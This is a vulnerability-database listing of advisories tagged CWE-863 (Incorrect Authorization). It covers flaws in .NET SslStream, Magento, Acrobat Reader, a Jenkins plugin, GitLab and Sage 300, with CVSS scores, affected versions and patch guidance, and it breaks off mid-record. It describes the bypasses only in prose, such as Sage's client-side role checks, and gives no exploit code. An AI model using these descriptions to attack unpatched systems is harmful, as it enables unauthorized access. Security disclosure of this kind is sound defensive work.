Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

7172 vulnerabilities reference this CWE, most recent first.

GHSA-QVW7-JM5C-6HQW

Vulnerability from github – Published: 2026-07-20 22:52 – Updated: 2026-07-20 22:52
VLAI
Summary
Microsoft Security Advisory CVE-2026-50528 – .NET Security Feature Bypass Vulnerability
Details

Executive summary

Microsoft is releasing this security advisory to provide information about a vulnerability in .NET TLS/SSL (System.Net.Security). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.

A security feature bypass vulnerability exists in .NET 8, .NET 9, and .NET 10 when processing TLS/SSL connections. An attacker can exploit the SslStream implementation to bypass authorization checks during secure communication.

Announcement

Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/TBD

CVSS Details

  • Version: 3.1
  • Severity: High
  • Score: 8.2
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
  • Weakness: CWE-863 (Incorrect Authorization)

Affected Platforms

  • Platforms: All
  • Architectures: All

Affected Packages

The vulnerability affects any Microsoft .NET project if it uses any of affected package versions listed below

.NET 10.0

Package name Affected version Patched version
Microsoft.NetCore.App.Runtime.linux-arm >= 10.0.0, <= 10.0.9 10.0.10
Microsoft.NetCore.App.Runtime.linux-arm64 >= 10.0.0, <= 10.0.9 10.0.10
Microsoft.NetCore.App.Runtime.linux-musl-arm >= 10.0.0, <= 10.0.9 10.0.10
Microsoft.NetCore.App.Runtime.linux-musl-arm64 >= 10.0.0, <= 10.0.9 10.0.10
Microsoft.NetCore.App.Runtime.linux-musl-x64 >= 10.0.0, <= 10.0.9 10.0.10
Microsoft.NetCore.App.Runtime.linux-x64 >= 10.0.0, <= 10.0.9 10.0.10
Microsoft.NetCore.App.Runtime.osx-arm64 >= 10.0.0, <= 10.0.9 10.0.10
Microsoft.NetCore.App.Runtime.osx-x64 >= 10.0.0, <= 10.0.9 10.0.10
Microsoft.NetCore.App.Runtime.win-arm >= 10.0.0, <= 10.0.9 10.0.10
Microsoft.NetCore.App.Runtime.win-arm64 >= 10.0.0, <= 10.0.9 10.0.10
Microsoft.NetCore.App.Runtime.win-x64 >= 10.0.0, <= 10.0.9 10.0.10
Microsoft.NetCore.App.Runtime.win-x86 >= 10.0.0, <= 10.0.9 10.0.10

.NET 9.0

Package name Affected version Patched version
Microsoft.NetCore.App.Runtime.linux-arm >= 9.0.0, <= 9.0.17 9.0.18
Microsoft.NetCore.App.Runtime.linux-arm64 >= 9.0.0, <= 9.0.17 9.0.18
Microsoft.NetCore.App.Runtime.linux-musl-arm >= 9.0.0, <= 9.0.17 9.0.18
Microsoft.NetCore.App.Runtime.linux-musl-arm64 >= 9.0.0, <= 9.0.17 9.0.18
Microsoft.NetCore.App.Runtime.linux-musl-x64 >= 9.0.0, <= 9.0.17 9.0.18
Microsoft.NetCore.App.Runtime.linux-x64 >= 9.0.0, <= 9.0.17 9.0.18
Microsoft.NetCore.App.Runtime.osx-arm64 >= 9.0.0, <= 9.0.17 9.0.18
Microsoft.NetCore.App.Runtime.osx-x64 >= 9.0.0, <= 9.0.17 9.0.18
Microsoft.NetCore.App.Runtime.win-arm >= 9.0.0, <= 9.0.17 9.0.18
Microsoft.NetCore.App.Runtime.win-arm64 >= 9.0.0, <= 9.0.17 9.0.18
Microsoft.NetCore.App.Runtime.win-x64 >= 9.0.0, <= 9.0.17 9.0.18
Microsoft.NetCore.App.Runtime.win-x86 >= 9.0.0, <= 9.0.17 9.0.18

.NET 8.0

Package name Affected version Patched version
Microsoft.NetCore.App.Runtime.linux-arm >= 8.0.0, <= 8.0.28 8.0.29
Microsoft.NetCore.App.Runtime.linux-arm64 >= 8.0.0, <= 8.0.28 8.0.29
Microsoft.NetCore.App.Runtime.linux-musl-arm >= 8.0.0, <= 8.0.28 8.0.29
Microsoft.NetCore.App.Runtime.linux-musl-arm64 >= 8.0.0, <= 8.0.28 8.0.29
Microsoft.NetCore.App.Runtime.linux-musl-x64 >= 8.0.0, <= 8.0.28 8.0.29
Microsoft.NetCore.App.Runtime.linux-x64 >= 8.0.0, <= 8.0.28 8.0.29
Microsoft.NetCore.App.Runtime.osx-arm64 >= 8.0.0, <= 8.0.28 8.0.29
Microsoft.NetCore.App.Runtime.osx-x64 >= 8.0.0, <= 8.0.28 8.0.29
Microsoft.NetCore.App.Runtime.win-arm >= 8.0.0, <= 8.0.28 8.0.29
Microsoft.NetCore.App.Runtime.win-arm64 >= 8.0.0, <= 8.0.28 8.0.29
Microsoft.NetCore.App.Runtime.win-x64 >= 8.0.0, <= 8.0.28 8.0.29
Microsoft.NetCore.App.Runtime.win-x86 >= 8.0.0, <= 8.0.28 8.0.29

Advisory FAQ

How do I know if I am affected?

If using a package listed in affected packages, you're exposed to the vulnerability.

How do I fix the issue?

  1. To fix the issue please install the latest version of .NET. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.
  2. If your application references the vulnerable nuget package, update the package reference to the patched version. You can list the versions you have installed by running the dotnet --info command.

Once you have installed the updated runtime or SDK, restart your apps for the update to take effect.

Additionally, if you've deployed self-contained applications targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.

Other Information

Reporting Security Issues

If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the MSRC Researcher Portal. Further information can be found in the MSRC Report an Issue FAQ.

Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.

Support

You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.

Disclaimer

The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.

External Links

CVE-2026-50528

Acknowledgements

Henrique Pereira with Microsoft, Ky0toFu

Revisions

V1.0 (July 14, 2026): Advisory published.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Show details on source website
To clipboard 

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    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.28"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.NetCore.App.Runtime.win-arm64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.28"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.NetCore.App.Runtime.win-x64"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.28"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.NetCore.App.Runtime.win-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-302",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T22:52:09Z",
    "nvd_published_at": "2026-07-14T20:17:37Z",
    "severity": "HIGH"
  },
  "details": "## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET TLS/SSL (System.Net.Security). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nA security feature bypass vulnerability exists in .NET 8, .NET 9, and .NET 10 when processing TLS/SSL connections. An attacker can exploit the SslStream implementation to bypass authorization checks during secure communication.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/**TBD**\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 8.2\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N`\n- **Weakness:** CWE-863 (Incorrect Authorization)\n\n## Affected Platforms\n\n- **Platforms:** All\n- **Architectures:** All\n\n## \u003ca name=\"affected-packages\"\u003e\u003c/a\u003eAffected Packages\nThe vulnerability affects any Microsoft .NET project if it uses any of affected package versions listed below\n\n### \u003ca name=\".NET 10.0\"\u003e\u003c/a\u003e.NET 10.0\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm)               | \u003e= 10.0.0, \u003c= 10.0.9 | 10.0.10\n[Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64)               | \u003e= 10.0.0, \u003c= 10.0.9 | 10.0.10\n[Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm)               | \u003e= 10.0.0, \u003c= 10.0.9 | 10.0.10\n[Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64)               | \u003e= 10.0.0, \u003c= 10.0.9 | 10.0.10\n[Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64)               | \u003e= 10.0.0, \u003c= 10.0.9 | 10.0.10\n[Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64)               | \u003e= 10.0.0, \u003c= 10.0.9 | 10.0.10\n[Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64)               | \u003e= 10.0.0, \u003c= 10.0.9 | 10.0.10\n[Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64)               | \u003e= 10.0.0, \u003c= 10.0.9 | 10.0.10\n[Microsoft.NetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm)               | \u003e= 10.0.0, \u003c= 10.0.9 | 10.0.10\n[Microsoft.NetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64)               | \u003e= 10.0.0, \u003c= 10.0.9 | 10.0.10\n[Microsoft.NetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64)               | \u003e= 10.0.0, \u003c= 10.0.9 | 10.0.10\n[Microsoft.NetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86)               | \u003e= 10.0.0, \u003c= 10.0.9 | 10.0.10\n\n### \u003ca name=\".NET 9.0\"\u003e\u003c/a\u003e.NET 9.0\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm)               | \u003e= 9.0.0, \u003c= 9.0.17 | 9.0.18\n[Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64)               | \u003e= 9.0.0, \u003c= 9.0.17 | 9.0.18\n[Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm)               | \u003e= 9.0.0, \u003c= 9.0.17 | 9.0.18\n[Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64)               | \u003e= 9.0.0, \u003c= 9.0.17 | 9.0.18\n[Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64)               | \u003e= 9.0.0, \u003c= 9.0.17 | 9.0.18\n[Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64)               | \u003e= 9.0.0, \u003c= 9.0.17 | 9.0.18\n[Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64)               | \u003e= 9.0.0, \u003c= 9.0.17 | 9.0.18\n[Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64)               | \u003e= 9.0.0, \u003c= 9.0.17 | 9.0.18\n[Microsoft.NetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm)               | \u003e= 9.0.0, \u003c= 9.0.17 | 9.0.18\n[Microsoft.NetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64)               | \u003e= 9.0.0, \u003c= 9.0.17 | 9.0.18\n[Microsoft.NetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64)               | \u003e= 9.0.0, \u003c= 9.0.17 | 9.0.18\n[Microsoft.NetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86)               | \u003e= 9.0.0, \u003c= 9.0.17 | 9.0.18\n\n### \u003ca name=\".NET 8.0\"\u003e\u003c/a\u003e.NET 8.0\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm)               | \u003e= 8.0.0, \u003c= 8.0.28 | 8.0.29\n[Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64)               | \u003e= 8.0.0, \u003c= 8.0.28 | 8.0.29\n[Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm)               | \u003e= 8.0.0, \u003c= 8.0.28 | 8.0.29\n[Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64)               | \u003e= 8.0.0, \u003c= 8.0.28 | 8.0.29\n[Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64)               | \u003e= 8.0.0, \u003c= 8.0.28 | 8.0.29\n[Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64)               | \u003e= 8.0.0, \u003c= 8.0.28 | 8.0.29\n[Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64)               | \u003e= 8.0.0, \u003c= 8.0.28 | 8.0.29\n[Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64)               | \u003e= 8.0.0, \u003c= 8.0.28 | 8.0.29\n[Microsoft.NetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm)               | \u003e= 8.0.0, \u003c= 8.0.28 | 8.0.29\n[Microsoft.NetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64)               | \u003e= 8.0.0, \u003c= 8.0.28 | 8.0.29\n[Microsoft.NetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64)               | \u003e= 8.0.0, \u003c= 8.0.28 | 8.0.29\n[Microsoft.NetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86)               | \u003e= 8.0.0, \u003c= 8.0.28 | 8.0.29\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n\nIf using a package listed in [affected packages](#affected-packages), you\u0027re exposed to the vulnerability.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\n1. To fix the issue please install the latest version of .NET. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.\n2. If your application references the vulnerable nuget package, update the package reference to the patched version. You can list the versions you have installed by running the `dotnet --info` command.\n\nOnce you have installed the updated runtime or SDK, restart your apps for the update to take effect.\n\nAdditionally, if you\u0027ve deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-50528]( https://www.cve.org/CVERecord?id=CVE-2026-50528)\n\n### Acknowledgements\n\nHenrique Pereira with Microsoft, Ky0toFu\n\n### Revisions\n\nV1.0 (July 14, 2026): Advisory published.",
  "id": "GHSA-qvw7-jm5c-6hqw",
  "modified": "2026-07-20T22:52:09Z",
  "published": "2026-07-20T22:52:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/runtime/security/advisories/GHSA-qvw7-jm5c-6hqw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50528"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/announcements/issues/417"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/runtime/issues/130713"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dotnet/runtime"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Microsoft Security Advisory CVE-2026-50528 \u2013 .NET Security Feature Bypass Vulnerability"
}

GHSA-QVWR-P3HJ-J6JF

Vulnerability from github – Published: 2025-10-14 21:30 – Updated: 2025-10-21 20:49
VLAI
Summary
Magento vulnerable to privilege escalation due to incorrect authorization
Details

Magento versions 2.4.9-alpha2, 2.4.8-p2, 2.4.7-p7, 2.4.6-p12, 2.4.5-p14, 2.4.4-p15 and earlier are affected by an Incorrect Authorization vulnerability. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized access to elevated privileges that increase integrity impact to high. Exploitation of this issue does not require user interaction.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/project-community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.9-alpha1"
            },
            {
              "fixed": "2.4.9-alpha3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.8-beta1"
            },
            {
              "fixed": "2.4.8-p3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.7-beta1"
            },
            {
              "fixed": "2.4.7-p8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.6-p13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.8"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.7"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.6"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54267"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-21T20:49:43Z",
    "nvd_published_at": "2025-10-14T21:15:35Z",
    "severity": "MODERATE"
  },
  "details": "Magento versions 2.4.9-alpha2, 2.4.8-p2, 2.4.7-p7, 2.4.6-p12, 2.4.5-p14, 2.4.4-p15 and earlier are affected by an Incorrect Authorization vulnerability. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized access to elevated privileges that increase integrity impact to high. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-qvwr-p3hj-j6jf",
  "modified": "2025-10-21T20:49:43Z",
  "published": "2025-10-14T21:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54267"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/magento/magento2"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/magento/apsb25-94.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Magento vulnerable to privilege escalation due to incorrect authorization"
}

GHSA-QVXR-82R8-33CQ

Vulnerability from github – Published: 2026-09-08 21:34 – Updated: 2026-09-08 21:34
VLAI
Details

Acrobat Reader is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.

Severity
6.3 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-81997"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T21:18:46Z",
    "severity": "MODERATE"
  },
  "details": "Acrobat Reader is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.",
  "id": "GHSA-qvxr-82r8-33cq",
  "modified": "2026-09-08T21:34:33Z",
  "published": "2026-09-08T21:34:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81997"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/acrobat/apsb26-141.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QW28-G63M-JXQV

Vulnerability from github – Published: 2022-05-24 16:43 – Updated: 2022-09-09 00:51
VLAI
Summary
Sandbox bypass in ontrack Jenkins Plugin
Details

A sandbox bypass vulnerability in Jenkins ontrack Plugin 3.4 and earlier allowed attackers with control over ontrack DSL definitions to execute arbitrary code on the Jenkins master JVM.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:ontrack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-10306"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-09T00:51:51Z",
    "nvd_published_at": "2019-04-18T17:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "A sandbox bypass vulnerability in Jenkins ontrack Plugin 3.4 and earlier allowed attackers with control over ontrack DSL definitions to execute arbitrary code on the Jenkins master JVM.",
  "id": "GHSA-qw28-g63m-jxqv",
  "modified": "2022-09-09T00:51:51Z",
  "published": "2022-05-24T16:43:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10306"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/ontrack-plugin/commit/7f0f806c18fdd6043103d848ba4c813cb805dd85"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/ontrack-plugin"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2019-04-17/#SECURITY-1341"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/108045"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sandbox bypass in ontrack Jenkins Plugin"
}

GHSA-QW5X-X275-9WWH

Vulnerability from github – Published: 2023-09-29 09:30 – Updated: 2024-04-04 07:58
VLAI
Details

An issue has been discovered in GitLab affecting all versions starting from 11.2 before 16.2.8, all versions starting from 16.3 before 16.3.5, all versions starting from 16.4 before 16.4.1. It was possible that a maintainer to create a fork relationship between existing projects contrary to the documentation.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-3920"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-29T07:15:13Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab affecting all versions starting from 11.2 before 16.2.8, all versions starting from 16.3 before 16.3.5, all versions starting from 16.4 before 16.4.1. It was possible that a maintainer to create a fork relationship between existing projects contrary to the documentation.",
  "id": "GHSA-qw5x-x275-9wwh",
  "modified": "2024-04-04T07:58:13Z",
  "published": "2023-09-29T09:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3920"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2058121"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/417481"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QW6R-773C-W64H

Vulnerability from github – Published: 2023-07-06 21:14 – Updated: 2025-01-23 18:31
VLAI
Details

Versions of Sage 300 through 2022 implement role-based access controls that are only enforced client-side. Low-privileged Sage users, particularly those on a workstation setup in the "Windows Peer-to-Peer Network" or "Client Server Network" Sage 300 configurations, could recover the SQL connection strings being used by Sage 300 and interact directly with the underlying database(s) to create, update, and delete all company records, bypassing the program’s role-based access controls.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-29927"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-16T20:15:09Z",
    "severity": "MODERATE"
  },
